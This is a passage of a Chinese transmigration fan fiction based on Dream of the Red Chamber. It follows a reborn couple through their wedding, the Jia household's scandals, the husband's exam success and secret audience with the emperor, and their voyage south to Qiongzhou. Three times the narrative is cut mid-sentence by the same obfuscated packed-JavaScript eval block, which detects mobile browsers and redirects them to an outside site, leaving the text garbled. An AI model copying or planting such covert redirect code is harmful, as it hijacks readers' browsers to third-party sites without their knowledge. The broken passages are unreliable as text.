出嫁前一日,晒嫁妆时,贾家两府、薛家、贾家族人等都添了妆,贾家两府给了两台金银玩器,薛家是一台官造的瓷器,贾家族人合力出了一台上造的绸缎,都算是不错的添妆。 上辈子,末世来临前,邬桐和柳琼只扯了证,并没有举办婚礼。如今身着大红的嫁衣,由大哥邬杨背着出房门时,黛玉扶着门框,哭得快昏死过去。邬桐无法,拍拍大哥的肩:“我去跟黛玉说说话。” 这两年,两人同进同出,山脚下的小镇、山上的寺庙,就是行宫都去过几次,以后就要分离了,邬桐心里也怪不好受的:“再哭我可就不理你了。以后想去哪里玩,只管去找我。” 黛玉只不住地点头,邬桐揉揉她的黑发,狠狠心让邬杨背着离开了。 能够娶一品大员之女,刘氏自是高兴地合不拢嘴。外祖家更是全员出动,都来贾家新买的宅子里帮忙,关系近的族人们也都带着礼物上门,吵吵嚷嚷,热闹非常。 外院摆满了圆桌,四海楼八两八的席面五十桌,看着还似不够坐一般。 傍晚,新娘子被接到贾家新宅,炮竹声中,三拜九叩,今生又结为夫妻。 有表哥刘衡和他那一帮子兄弟,柳琼不用怎么应付酒宴,很顺利就入了洞房。躺在婚床上长叹一声:“终于可以睡个安稳觉了。贾家的事以后咱们就不管了,管得也够多的了,再管就过了。成亲后就过咱们自己的日子。老天给了这么大的机缘,咱们怎么也得做些事情,是不是?不然不是白白糟蹋了。” 邬桐起身,想到上次人贩子的事,谨慎地问道:“你想做什么?怎么做?” 柳琼自是有打算的,嘿嘿笑两声,双手一伸,将一身红衣的邬桐搂进怀里,“京城高官显贵云集,咱们摆布不开。你说科举后我外放怎么样?最好回南边粤海那一带,类似古中华的海南岛,如今应该叫琼州岛,那一片可是天高皇帝远的,就是来个工业革命,以如今信息传播的速度,只怕过上一两年京城才知道呢。” 柳琼越说越兴奋,坐起来沉声道:“我空间里可有很多机器,还有热武器的制作方法,做出来不成问题。咱们不妨学学穿越前辈,办工厂,航海,说不定还能占个小岛,那样的日子才是真正的逍遥呢。” “你想破海禁?” “对。”柳琼双眼发光,“古中华就是海禁给害的。科举后我就去谋个琼州岛的官儿,咱们去上任,改良海船,开发海岛。你不是想躺平嘛,现在可是最无污染的时代了,想想海南岛的海鲜和水果,咱们也得去啊。” 邬桐也被说得向往起来:“你只管去做,我都支持你。反正这一辈子是赚来的,只是别玩脱了,古代人可不傻。” “放心。”柳琼伸手搂过邬桐,将被子往上拉了拉,“睡吧,过几年,爷带你去琼州岛。” 婚礼过后没几天,五婶子就来寻刘氏说话,邬桐作为新媳妇自然要上茶招待。 堂屋里,五婶子也不拘束,抓起两把琥珀核桃,巴巴说着这两日的新鲜事:“哎呀,你不知道,政老爷带着琏二爷,把赖家抄了!听说光金子就抄出来八千两,白银少说也有十万两,还有什么古董、字画成十箱子。你猜怎么着,竟是府里往年给各王府的年礼!也不知道赖家怎么这般大胆。听说老太太晕死过去两回,闹着回金陵老家赎罪呢。” 刘氏捂着胸口,眼睛睁得老大,半晌说不出话。见屋里没别人,五婶子开口没多久,屋里的下人就被邬桐都赶出去了,刘氏才开口道:“赖家就是再精明,贪那么多去,怎么就没人察觉呢。” 五婶子见没外人,也没了顾忌,撇撇嘴:“谁敢管!那可是老太太的陪房。你说,前两年去磕头,还觉得老太太是老神仙呢。没想到这两年竟糊涂至此,这是年纪大了吧。” 两人越挨越近,低声说小话,邬桐笑笑,又给各自倒了热茶,悄悄退了出去。 22.亲事 都一年多了,邬桐还以为王熙凤把这茬忘了呢,没成想冷不丁就把事情办了。从五婶子的话里,愣是没听出来是他们两口子谋划的,想来费的心思不少。 她这边已经让柳琼打听了几家靠谱的商户,探春和惜春最终如何,已经不是她能再插手的了。 这段插曲后,柳琼也开始忙着准备明年的春闱了,时不时就要去林家拜访。邬桐每次都会随行,大嫂云氏生了个小侄子,白嫩可爱,就是四姐儿看过两回,也吵着去林家再瞧呢。 忙忙碌碌地,恍惚听说探春和惜春分别定了粤海盐商和海商,为贾家带来了过二十万两的聘礼。两件事加起来,荣国府少说也获利四十万两,足够支撑五六年光景了。 恰好,两家均是邬桐让柳琼打听过的相对靠谱的人家,且为了日后在琼州岛有人帮衬,特意选了粤海的豪商大族。虽有私心,但柳琼特意拜托表哥刘衡在花街打听过,两家都是有底线的人家,至少不会像邬家那样,明面上用着人家闺女,背地里尽干些迫害的腌臜事。 赵姨娘听王熙凤提过后,先是让赵家在外面造流言,说什么娘娘逼迫亲妹子为她捞银子,娘娘心狠之类的话。趁着王夫人生日摆宴,薛姨妈过来吃酒时,不顾脸面地撒泼,乱叫乱骂,闹了个没脸。 薛姨妈当场就变了脸色,宝钗和元春是两姨表姐妹,如今外面元春的名声俨然不好了,要是闹大了,宝钗会不会吃挂落? 王夫人瞧见妹妹的脸色,心里一咯噔,知道这事再是不能含混过去的,咬碎了满口银牙,终是松口,每人给了两万两银子的嫁妆。 探春先还浑浑噩噩,不敢相信王夫人真会将她嫁给商户,等赵姨娘彻底闹开了,她反倒笑了,眼泪止不住地往下落。往常的矜贵庄严全数退去,冷着放话,赵家人一日不放奴籍,她就一日不嫁,大不了一头撞死在太太门前。 赵姨娘见女儿开窍了,越发恣意。晚上小意奉承,小心翼翼地在贾政耳边吹枕头风。别看赵姨娘整日惹是生非,姿色上绝对是一等一的美人,又放得下身段奉承,贾政认定王夫人心狠,王夫人咬牙忍了,到底顾着国公府的脸面,将赵家人的奴籍消去。 探春出嫁当日,带着赵家人去了江南。 惜春却是最可怜的,宁国府的孩子,却一直在荣国府养着。亲爹当道士去了,哥哥整日厮混胡闹,嫂子又是个冷情的,真真是叫天天不应叫地不灵。 出嫁那日,阖府送嫁的寥寥无几,只尤氏和王熙凤两个贾家女眷,并一个眼泪汪汪的贾宝玉。邬桐和林黛玉都不知道说什么好了。 惜春冷笑一声,光身子出门,一个丫鬟婆子没带,“这样彼此干净。” 大事小事的,很快到了又一年的春闱。柳琼没太出风头,安安稳稳中了第五名,文章中夹带私货,透露了擅长机巧喜爱钻研船只的事。 官差来报喜时,柳琼新宅大门外,母亲刘氏、弟弟贾瑾、妹妹四姐儿和邬桐齐齐站在门口张望,表哥刘衡在十几米外的街口踱步,来来回回转了十几圈,远远瞧见官差的影子,兴奋地手舞足蹈:“官差来了,快点鞭炮!快点。” 小厮们一个个咧着嘴,竟是官差还没到,霹雳吧啦地炮仗就响遍了街巷。 街坊四邻听到声响,纷纷打开门探头探脑。 鸣锣开道,官差见过狂喜的人家多了,像这家这么闹腾的也是少数。三个年龄大小明显不同的女人抱作一团,小少年立在门边用袍角擦眼泪,他还以为得不到打赏呢,谁知道刘衡蹦跶了半天后,愣是还记得给人塞红包。 柳琼一早就去官府发榜前的一处茶楼坐着了。不是为了知道名次,而是看看是否能结识一两个性情相投的人。他要外放,京城里没有帮手是不行的。大舅哥算一个,怎么也得再找几个才安心。 “如圭兄。”今科会元云冲说起来跟柳琼还有些亲戚关系,正是邬杨夫人云氏的长兄,也是官宦人家出身。 柳琼一时还真没反应过来是在叫他。为了更真实地做一个古代文人,柳琼入乡随俗地请林如海取了个字,如圭,正是美玉的意思,跟琼字相辅相成。 “云兄。”柳琼起身行了个文人礼。 两人也算熟悉,行礼过后就不再多言。茶楼下,或悲或喜的一张张面孔如此鲜活,柳琼心内叹气,耳畔听得众人的议论。 “不知二位如何看待海禁?”在一众的恭喜声中,这道声音突兀响起,让柳琼不自觉地看向了说话的人。 二十七八岁的年纪,方脸,带笑,却并不让人觉得亲近,反而心内发紧,似乎说错话就会受罚一般。旁边的家仆大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188536|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十多岁,肤白,清瘦无须。 男人也不等人让,对着柳琼和云冲笑笑,径直坐了下来,位置正对柳琼。 柳琼心内颤了颤,这是开了主角挂?这男子,不是皇上也是亲王,要不然,身边不会跟着太监。 这两日表哥那里传来消息,说是江浙沿海,倭寇时常犯边,南海又有匪患,很多南边的大族都在内迁。花街柳巷这半年有很多南边来的客人,怪腔怪调的,说的话让人听都听不懂。 不待云冲和柳琼开口,就有考中的贡士哈哈大笑:“农事乃国之根本,而农事多在中原和江南一带。海事除了鱼获,对国家作用不大。只有少数海商依赖海事赚钱罢了。可海商毕竟是商人,商人重利,于国无益。禁就禁了,有何要紧?我泱泱华夏,还稀罕海商那点税赋不成?” 听着大家的附和声,柳琼心里的火气蹭蹭蹭就往出冒,冲得他完全忘了对面坐着的是谁,张口就反驳:“什么叫禁就禁了,兄台可考虑过,靠海打渔过活的渔民如何生存?可考虑过禁海之后,船只腐朽,没人研究造船,我们就没法从海上去探索世界,我们就出不去。可我们出不去,不代表别人进不来。大明以来,郑和七次下西洋,彰显国威,也让世人知道,除了北面的草原,南面、东面也有很多的国家。如果我们没有船出去,那些国家联合起来登陆沿海,侵占我们的领土,你们可想过后果?遇到问题了不想着解决,反而关起门来装作看不到,真真可笑至极。在下认为,最该做的,反而是研究海船,在海船上架设火炮,看谁还敢侵犯沿海。据记载,那倭寇,可是有银矿的,还有那南洋,水稻可是三熟的。如此银库和粮仓,我华夏不去合作,反而想放弃吗?” “好大的口气!”被反驳的士子气得满面通红,冷哼一声,“我华夏地大物博,岂会稀罕那等弹丸之地。” “可谁会嫌地方大呢?”柳琼毫不留情地讽刺道,“就像谁也不会嫌钱多一样。地大物博,那如果地可以更大,物可以更多呢,难道开疆拓土还错了不成?” 茶楼响起了叫好声,是啊,哪个帝王不想开疆拓土,扬眉吐气?禁海,只是下下策罢了。 柳琼也不管对面‘贵人’越来越亮的眼睛,起身拂袖而去。他今日已经够出风头了,想来日后谋南边的外任也更有把握。 23.谋外放 邬桐没工夫管柳琼在外面的交际,她忙着招待过来贺喜的大哥一家、小弟邬柏、林黛玉和王熙凤呢。 自探春、惜春出嫁后,王熙凤和贾琏夫妇彻底黏了上来。也是王夫人察觉到王熙凤阳奉阴违,抄赖家的时候肯定私藏了珍宝,在探春的事情上对她又有隐瞒,因此收回了多项管家权。王熙凤干脆彻底撂开手,反正只要娘娘在宫里一天,她就不可能管家。 不过王熙凤可不在乎管不管家了。当初抄赖家,她和琏二光银子就藏了十万两,就是钱生钱,也够她们两口子过两年了,何苦再去姑妈那里吃力不讨好。 这银子来的也稀奇,竟不是抄家抄来的,毕竟有贾政看着,贾琏做不了假。怎么来的呢?是贾琏逛完花楼,被小乞丐撞了一下,塞了张纸条,纸条上有两处宅子地址,言明是赖家私藏金银的地方。贾琏带着心腹偷摸着去了一次,见里面果真不缺银子,这才密了十万两,连同一些古画珍玩,当然,后面这些是王熙凤不知道的。 至于其他金银,抄家前秘密放到赖家的宅子里即可。贾琏也是在街面上混久了的,一点儿江湖手段还是知道的,神不知鬼不觉,很顺利就蒙混了过去。 当然,话题扯远了,只说来道贺的王熙凤,打量着不算宽敞的院落,虽还没国公府的正院大,布置得却精心,粉墙黛瓦,绿树成荫,可见琼哥儿不是缺银子的,“还是桐姐儿有福气。以后就是诰命夫人了。不像我,忙活了这么多年,还是个白身。我们家爷那爵位,能不能落到身上都不好说。” 邬桐轻笑一声:“你们家的奴才都能谋官,我就不信琏二哥哥谋不到前程?嫂子可别说笑了。” 王熙凤有些讪讪地:“你知道了?” “何止我知道了,满京城就没有不知道的。”邬桐叹口气,语重心长道,“回去劝劝老太太吧,非要在春闱的关键时候,闹出这种事,得罪读书人,对贾家有什么好处?而且赖家都抄了,那赖尚荣是良籍,没受牵连已经是慈悲了,何苦再为他办这个事儿。他要是起来了,你们能得到好?就是朝廷里现在的官员,心里都不能舒服。合着人家苦读这么多年,跟你家奴才一样了?不能这么糊涂,就是再伺候多年的老人,那也是奴才,不是功臣。更何况是个犯错的奴才。” “你哪里知道府里的事。”见邬桐话虽然说得不客气,但却都是为贾家好,王熙凤拉过邬桐的手,叹口气,“你是不知道,没抄家前,赖家在府里,过得比正经的少爷小姐都滋润。除了老太太,谁的话都不听,偏那赖嬷嬷是个机敏的,只哄得老太太认定她是个忠仆,我们能怎么办呢。太太恨得什么似的,也奈何不得。” 大嫂云氏听得满眼惊奇。她娘家虽是御史台出身,可也是寒门,太公公太婆婆还是种地的呢,哪里听过奴才欺负主子的,不禁奇道:“这奴才还能反了天了?” 王熙凤眨眨眼,是啊,奴才就是奴才,再势大,还能反了天?当初就是少了魄力,前怕狼后怕虎的,才忍了赖家这么多年。邬桐话说得没错,赖尚荣没治罪,已经是恩典了。这种白眼狼要是得了势,日后能有她和琏二的好儿? 心里打定主意,只不往外说,转移话题道:“琼兄弟跑哪儿去了?怎不见回来?桐姐儿可得看紧些,以后琼兄弟可是香饽饽了,别那香的臭的扒上来,轻易可撕扯下不去。” 说着瞥一眼屋里伺候的丫头,轻蔑之色尽显。 邬桐哭笑不得,她知道柳琼不会有事,奈何别人不信啊。不仅王熙凤不信,就是丫鬟,可能也不会信。以后谋了外放就好了,到时候多带嬷嬷和小厮过去,能跑腿儿就行。 “那不会。”柳琼母亲刘氏本就不会说话,且多有耳闻这位琏二奶奶的厉害,早在角落里坐着躲清闲呢,听了这话如何能不表态,急忙剖白,“家里都是粗使的老婆子,这些丫头也都是桐姐儿带过来的林家忠仆,断不会做出丑事的。我家琼哥儿也是个懂事的,不会胡来的。” 王熙凤轻哼一声:“天下还有不偷腥的猫?我知道你是婆婆,自然护着自家儿子。我跟桐姐儿关系好,可得帮她说几句话。桐姐儿好歹是一品大员的闺女,配琼哥儿可是低嫁了,你们可不能对不起她。” 这边王熙凤叭叭叭地为邬桐出头,外院儿,刘衡、邬杨、邬柏和贾瑾却聊得开心。刘衡虽是武官,嘴却比文官还顺溜:“林家的姑娘就是旺夫。这不刚嫁过来,表弟就中了贡士,以后定是官运亨通。” 邬杨和邬柏作为大(小)舅子,自是高兴听到夫家对妹妹(姐姐)的夸赞的,嘴角不自觉就挂上笑意。彼此还没说几句话,柳琼就回来了。 “哥,小弟,今日都在家吃。”柳琼豪气地说,“我在四海酒楼定了两桌八两八的席面,咱们今日不醉不归。” 这边庆祝着,皇宫里,永兴帝特意让人找来了柳琼的会试考卷,越看越是欢喜。自从知道坚船图纸可能泄露后,工部加紧研究,虽然改进了一些,但是火炮并没有大的改进。只是船更大,火炮更多了一些罢了。最关键的火炮射程,没有丝毫改进。 但柳琼的试卷和今日的言谈,似乎在暗示他会制火炮? “传忠顺王。”大殿中传来永兴帝有些兴奋的声音,没人回答,但他知道,自有暗卫会将人带来。 永兴帝拿起一边的奏折,饶有兴致地批阅起来。门口传来些微响动,没过多久,大太监来福带着长春宫的大太监寿喜进来,身后还跟着两个手提八宝饭盒的小太监。 四人进来,两个小太监将食盒放到御案前的方桌上,悄悄退下。寿喜这才跪下扬声道:“陛下,该进午食了。这是皇后娘娘特意让奴才送过来的,嘱咐奴才提醒您按时进食呢。” 御书房也只有皇后才有资格派人过来了,永兴帝看了看一旁足有一人高的大座钟,伸个懒腰道:“都这时候了,去你主子娘娘那里瞧瞧。” 皇后时隔多年有孕,两人再是没想到的。帝后二人育有两子,大儿子已经十岁,小儿子也有六岁,如今两人都希望能再生个嫡公主,算是儿女双全了。 寿喜却有些为难,吭哧半天没动静。永兴帝挑挑眉:“怎么了?你主子娘娘那里不方便?” 见永兴帝了然,寿喜讪笑道:“娘娘最近身子重,嗜睡,那贾家女官时刻跟在身边,又是捶腿又是揉肩的,娘娘就是想休息都不安生,多次暗示,那贾氏也厚着脸皮不走,这才让奴才给皇上稍话的。” 永兴帝冷哼一声,想到贾家的做派,真是恶心到不行。上次将名帖给陪房,连前朝余孽都想救。这次更是可笑,竟然想让家奴来做朝廷的官儿,这是觉得朝廷是他们家的不成:“传旨,在长春宫收拾出一间小佛堂,让贾家女官每日抄两卷佛经,给娘娘祈福。”不信治不了她。 寿喜忙答应一声,低着头退出去。永兴帝没了去后宫的兴致,又批阅起奏折。没多久忠顺王就被带到了御前。刚要见礼,就被永兴帝打断:“别多礼了,悄悄将会试第五名,那个叫贾琼的带过来,朕想问问他是否真的懂造船之事。” 忠顺王这才真是刚进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200442|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,转眼又被提溜回去。 这事儿,传个话让他直接去找人,有多难? 谁让他管着暗卫呢,忠顺王无奈地摇摇头,这种背地里带人见皇上的事,还就得他去办。 柳琼家,酒席撤去,人也都回家了,柳琼被小厮们扶着回了后院。等下人们都出去了,邬桐才开口道:“行了,别装了。” 当她傻吗,有空间这个作弊利器,他会傻乎乎的真喝酒不成? “还是桐儿了解我。”柳琼睁开眼,伸手撑着床沿,起身道,“不装醉不成啊,表哥就是个兵痞子,秀才遇到兵有理说不清。你坐着,我去净室洗把脸,一会儿肯定有人找我。”说着跳下床,朝屋后的净室走去。 邬桐跟在后面问道:“都这时候了,谁会找你?” 柳琼便将看榜时遇到贵人的事说了:“不是王爷就是皇上。反正我已经暗示了我懂造船,考举人、会试的卷子上也透露了一些我喜欢看杂书的事。只要今日应对得宜,殿试之后去琼州岛的事就稳了。” “想好带谁去了吗?”邬桐问,“原身母亲带不带?弟弟妹妹呢?” “不带。”柳琼摸摸大木桶里的水,开始褪身上的衣服,“瑾儿还得考举人,四姐儿还小。且以这时候人的眼光看,琼州那边不是个好地方。瘴气缠身,闹不好是会送命的。咱俩能作弊,但原身的亲人最好还是不要去吃苦了。就让母亲和弟弟妹妹在京城吧,有表哥那里的分成,他们能过得很好。” 邬桐闻言点点头:“林家那边也会看着的。” 刚洗漱好,忠顺王带着两名暗卫就上门了。虽然早有预料,柳琼还是有些吃惊。宅子里的下人都是精挑细选过的,来了陌生人没一个吭一声的,可见暗卫手里有多少他不知道的秘药。 一路跟着进皇宫的时候,柳琼还在想,必须得外放。他和桐儿说话没避讳过什么,要是万一被暗卫听了壁角,当真是防不胜防。 且历来皇宫里都有些乱七八糟的秘药,他和桐儿两个来历不明的,万一说出些什么就不好了。 因此在见到永兴帝时,柳琼多了几分敬畏,跪在忠顺王身后时谦卑多了。永兴帝自然感受得出来,在茶楼时他觉得此人有些桀骜,此时倒是更满意了几分。 赐座后,永兴帝才开口:“你可是会造船之法?” 柳琼半边屁股坐在凳子上,小心地回答:“小子自小就喜欢读些杂书,专爱研究些机关淫巧之事。且祖父在江南时曾帮着造海舫,小子看过图纸,自是懂一些的。” 这倒不是假话。原身祖父曾帮着贾代化造船,只是并不是什么海船,而是内陆小船罢了。不过这是贾家内部分工,知道的不多,这也只是个由头,让他的技巧有了传承,不至于拿出来没有出处。 永兴帝来了兴致,三人在御书房聊了一晚上,柳琼画出了第一代改进的海船图纸,只说:“需要工部那边再核实一下数据,且最好在海边,边造船边实验,才能改进到最佳状态。” 等柳琼被暗卫送出去,永兴帝问忠顺王:“这个人你觉得如何?” 忠顺王诚实道:“有些机变,且看他应答,对造船之事颇有研究。臣觉得殿试后不妨让他去粤海一带外放,让他在那边秘密造船。” 永兴帝拿着折子在御案上敲了敲,熟悉他的都知道这是在认真权衡了。忠顺王不再多话,悄悄退了出去。当初灭了邬家,让三个孩子无法认祖归宗,他和皇上都是有些愧疚的。如今能让邬桐回到家乡,他相信皇上不会反对的。 24.路上 拿到琼州岛县令的任命书时,离殿试结束已经一个月了。柳琼中了二榜十六名,在外人看来完全可以进翰林院的,如今被‘发落’琼州岛,上门贺喜的人比中进士时少了一半。 琼州岛那是什么地方?南方蛮夷之地,人口少就不说了,真真正正的穷山恶水,自古就是流放地。这要不是得罪了了不得的人,谁会去为难一个小小的进士? 与正史不同的是,如今琼州岛那么大的地方,只设置了一个县衙,隶属广州管辖,以往的县令都是举人,还都做不长,有关系的早早就送银子调任了。到琼州上任,需先去广州知府衙门报道,之后才能坐船登岛。 母亲刘氏知道后整个人都傻了,坐在炕上直抹眼泪:“琼哥儿,说,你是不是做什么混账事得罪人了?不然怎么会去琼州做县令?外面都说琼州是流放地!是犯了错儿的人才会去的地方!” “母亲别急,相公不是那没分寸的人。”邬桐只能这么说,能说这是他俩四处钻营得来的嘛,婆婆又不是亲妈,这么说非劈了她不可。 “娘,你信我,琼州岛是个好地方。”柳琼不知道怎么解释,在他和邬桐看来千好万好的地方,在时下人的意识里,这个地方就是原罪,是自古以来的流放地。 “琼哥儿,咱们不当官了。”外祖母孙氏哭嚎着从外面进来,拉着柳琼的手一把鼻涕一把泪,“现在进士也考上了,就算是去书院教书,一个月也有五六两银子拿呢,还有衡哥儿那的生意,怎么也够过活了。咱不去那劳什子琼州。” 柳琼哭笑不得,母亲还没哄好,这又来了外祖母。干脆一块儿哄算了,柳琼躬身扶着外祖母坐到炕上。 邬桐也有些麻爪,扬声吩咐蕙香上茶,和柳琼对视,这事儿有些难办啊。 可再难办也得办,这是两人谋划好的,而且跟皇上那里也是有默契的,不是谁说不去就不去的。 后面掀帘子进来的刘衡塌着一边儿的肩膀,踱着方步进来,吊儿郎当地说:“这当官儿怎么在您老口里就跟小孩儿过家家似的?这是想当就当,想不当就不当的?” 外祖母孙氏吊起眼睛:“这戏里都唱挂印而去呢,怎么不能辞官了?你个混小子,少来唬我。老娘不是那没见识的。” “哎呦,我的老太太,您也知道那是唱戏啊。”刘衡歪坐在炕上,拿起炕桌上的一牙西瓜就啃,“琼哥儿这里这么早就吃上西瓜了?又是太上皇给林大人的吧,真甜。我的老祖母唉,您打我干什么,吃一牙西瓜您就心疼了?好好好,说正事,那戏里唱的都是前朝的事儿了,现在可不兴这样了。朝廷都定了的事儿,约定时间内不赴任,可是要治罪的。不信你问琼哥儿,有没有这个事儿?” 柳琼点点头,外祖母孙氏和母亲刘氏顿时急得不行,柳琼只得安慰道:“母亲,外祖母,别急。琼州远,半年内上任就行。母亲和弟弟妹妹就留在京城。” 见刘氏瞪眼,柳琼忙道:“不是我不想孝敬您,是那里环境不好,去那里就得吃苦。一来母亲年纪大了,舟车劳顿的到底对身子不好。二来弟弟还得考举人呢,离不得京城。还有外祖母在这儿呢,母亲不得尽孝?您放心,有桐儿照顾我,再带几个婆子小厮伺候,一路上尽够了。” 刘氏说不出反驳的话,擦擦眼泪嘱咐道:“那你多带些银子,都说穷家富路的,缺什么东西了,路上也能用银子买。” 柳琼急忙点头,终于说通了一位,见外祖母孙氏要开口,柳琼忙道:“外祖母,您的银子孙儿可不能要......” 孙氏是个急性子,不等柳琼说完就道:“我看谁敢说什么。”说着还拍了孙子刘衡一下,拍得刘衡嗷嗷叫唤冤枉,这才继续道,“琼哥儿别怕,外祖母给的你就拿着,都是外祖母攒的私房钱,我看谁敢说!好了,就这么说定了,过两天就让衡哥儿给你送来。” 刘衡嘿嘿笑两声:“这时候想着孙子了?你放心,出远门哪有不送程仪的,孙儿能不知道这个。不仅您老人家的私房银子,我也给,这总行了吧?” 孙氏这才露出笑脸,和女儿刘氏拉着柳琼的手,千叮咛万嘱咐地,直说道天擦黑了才起身离开。 劝慰好了长辈,贾家、薛家、林家、嫂子娘家云家以及其他柳琼交际过的人家,陆陆续续都送来了数目不等的程仪。 薛家给的最多,有五百两,应该是谢当日香菱之事。如今两三年过去了,再没人提过这个案子,薛家承这个情,才多送了些。大大小小加起来有两千两银子的样儿,加上邬桐这两年赚的一万多两,以及柳琼那里的三千两,尽够了。 安置好了原身的亲人,出发前,柳琼特意拜托表哥刘衡,帮着找些退役的官兵,承诺一个月五两银子的工钱,一年四季衣服,包吃包住,才招来了二十名健壮的退伍汉子。 穷山恶水出刁民这句话不是没道理的,他自然希望没有用到这些人的那一天。 行李大到马车、驴马,小到茶碗盖钟,整整收拾了十大车。 三月中旬,天光还未大亮,和众人在南城门口话别。 春风拂面,杨柳吐绿。 林黛玉掀开车帘,看着渐渐消失的城门,终是红了眼圈。 为了能跟邬桐去琼州,林黛玉绝食三天以示决心。林如海答应是答应了,却要跟着一起去。将林家彻底交给了邬杨,跟着亲生女儿去琼州。 柳琼高兴的什么似的,林如海可是大杀器,为官能做到一品大员的位置,且至今跟太上皇和皇上都保持着良好的关系,就冲这点,他就捡到宝了。 有他在旁边指点,当地的士绅豪族只要敢扎翅,都不用他出手,疼女儿的林大人自会打断他们的爪子。 且林如海跟柳琼和邬桐的原身都不熟,两人以后做些什么也不会惹人怀疑。看着林家的十几辆马车和护卫家丁,柳琼嘿嘿笑得一脸奸诈。 去琼州自是走水路更快更方便,几人到了通州后换海船,是正经的官船,有官兵护卫,再安全不过。宝船有三层,六根桅杆,白色巨帆迎风飘扬,可吐纳三百吨货物,容纳近千人。 有林如海的帖子,众人很顺利地分到了顶层的五个船舱。林如海和林黛玉刚开始还有些不适应,有邬桐的治愈系异能,很快就能扶着栏杆在甲板上远眺了。 天地茫茫,烟波浩渺,竟是又激发了黛玉和林如海的诗兴,对着海面做了好几首酸诗,让想过去一起看景儿的邬桐愣是改变了方向,头也不回地去灶房做饭。她如今什么都会一点儿,就是不会作诗。 海船吃水深,非大码头不能停靠。因此中间补给的码头并不多,出渤海后,入黄海到江浙一带,又航行了七日,才终于在一大早停泊在宁波港,停靠三日修整。 柳琼扶着邬桐,林黛玉扶着林如海,四人决定下船进城逛逛。在船上漂流了大半个月,双脚踏上地面的那一刻,格外踏实。 柳琼给跟来的护卫每人发了半钱银子,三天花销尽够了,众人相携着出发。 岸边的小船上,是卖海虾螃蟹章鱼的渔民,一桅的小船上往往是父子或兄弟两人,打到好货的叫卖声比谁都高,没什么收获的自是交了税银,停好船就回家了。 不远处,一长排二层的青褐色竹楼,绵延约有三里,都是做小生意的商铺。卖饼子油条的吃食摊子、卖布匹的、卖杂货的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223583|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伙计们站在门前,大声对着宝船上下来的客人吆喝。 其中最显眼的,还是那白日里也开着的秦楼楚馆。偌大的欢门下,是一个个穿着或大红,或桂红,或嫣红细布的女人们,挥舞着粉色的绢帕,笑得花枝招展,好不快活。 如此粗俗的布置,在江南是断不会有生意的,要脸面的都会绕着走。但这里是码头,面对的是常年漂泊在海上的水手。都说当兵三年,母猪赛貂蝉。这些海上漂了大半年的汉子,是最吃这一套的。没看那从船上下来穿着差服的官兵,在众人鄙视又带着艳羡的目光中,嘻嘻笑着搂人上楼。 林如海叹气:“这等官兵,怪不得这两年倭寇横行。” 柳琼眼神闪了闪,能在码头做这种生意的,黑白两道都得通吃不说,说不得跟倭寇也有关系,否则别处的房子都有烧杀抢掠过的痕迹,怎么这青楼的屋子就这么新? 想到此处,柳琼朝邬桐使个眼色,邬桐哪有不明白的,拉着林黛玉朝不远处的客栈走去:“咱们也别进城了,就在这码头歇歇。听说下午潮水退了还能赶海捡螃蟹呢,咱们也凑凑热闹。而且听说海边人出海前都要拜海神娘娘的,咱们明日也去庙里看看。” 听到有新鲜事,林黛玉也不坚持进城了,反正城里再繁华能比京城还好?倒是这赶海,还是头一遭。 四人带着两个婆子和两个小厮,要了一个不大的院子,也不要客栈送饭,婆子在家就是厨娘,负责做饭和停靠三日的采买。另一个婆子和小厮们主要负责添置船上消耗的日用品,除了果子点心这些吃食,就是江浙一带的丝绸,林如海也吩咐多买些,“到了南边送人也是好的”。 沿海吃食以海鲜为主,海鱼、海虾、蛏子、章鱼的,绝对是最新鲜最正宗的。午餐时,邬桐和柳琼吃得头都不抬,生平第一遭知道为什么会有鲜甜这个词。以前在末世,总觉得鲜就鲜,怎么会甜呢,明明是两种完全不同的味道。可吃着古时候的海虾,才知道新鲜的虾肉,真的是有甜味的。 林如海任过巡盐御史,自是吃过这些的,因此并不多惊奇。下午,邬桐和林黛玉换上特意买的粗布衣服,拎着小篮子去赶海。两人穿着整齐,到了地方才发现,大多数人都没穿鞋,挽起裤腿光着脚在沙滩上忙活。大多是女人和孩子,忙得头都不抬。 作为大家闺秀,林黛玉当然做不出挽裤腿脱鞋的事,邬桐只带着人,在岸边溜达了半个时辰。夕阳西下,滩涂镀上了一层金光,邬桐和黛玉缓步朝客栈走去。 